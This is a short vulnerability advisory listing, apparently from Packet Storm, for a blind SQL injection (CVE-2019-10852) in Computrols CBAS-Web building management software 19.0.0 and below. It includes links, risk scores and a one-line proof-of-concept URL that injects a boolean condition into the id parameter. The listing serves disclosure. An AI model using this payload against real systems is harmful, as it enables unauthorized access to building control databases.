Lucene search
LiquidWormPACKETSTORM:155251HistoryNov 12, 2019 - 12:00 a.m.
Computrols CBAS-Web 19.0.0 Blind SQL Injection
2019-11-1200:00:00
LiquidWorm
packetstormsecurity.com
69
0.002 Low
EPSS
Percentile
56.6%
`
Computrols CBAS-Web Authenticated Boolean-based Blind SQL Injection
Affected versions: 19.0.0 and below
CVE: CVE-2019-10852
Advisory: https://applied-risk.com/resources/ar-2019-009
Paper: https://applied-risk.com/resources/i-own-your-building-management-system
by Gjoko 'LiquidWorm' Krstic
PoC (id param):
http://192.168.1.250/cbas/index.php?m=servers&a=start_pulling&id=1 AND 2510=2510
`
Related
prion
prion
Sql injection
2019-05-23 19:29:00
cvelist
cvelist
CVE-2019-10852
2019-05-23 18:56:52
cve
cve
CVE-2019-10852
2019-05-23 19:29:00
nvd
nvd
CVE-2019-10852
2019-05-23 19:29:00
ics
ics
Computrols CBAS Web
2019-05-21 12:00:00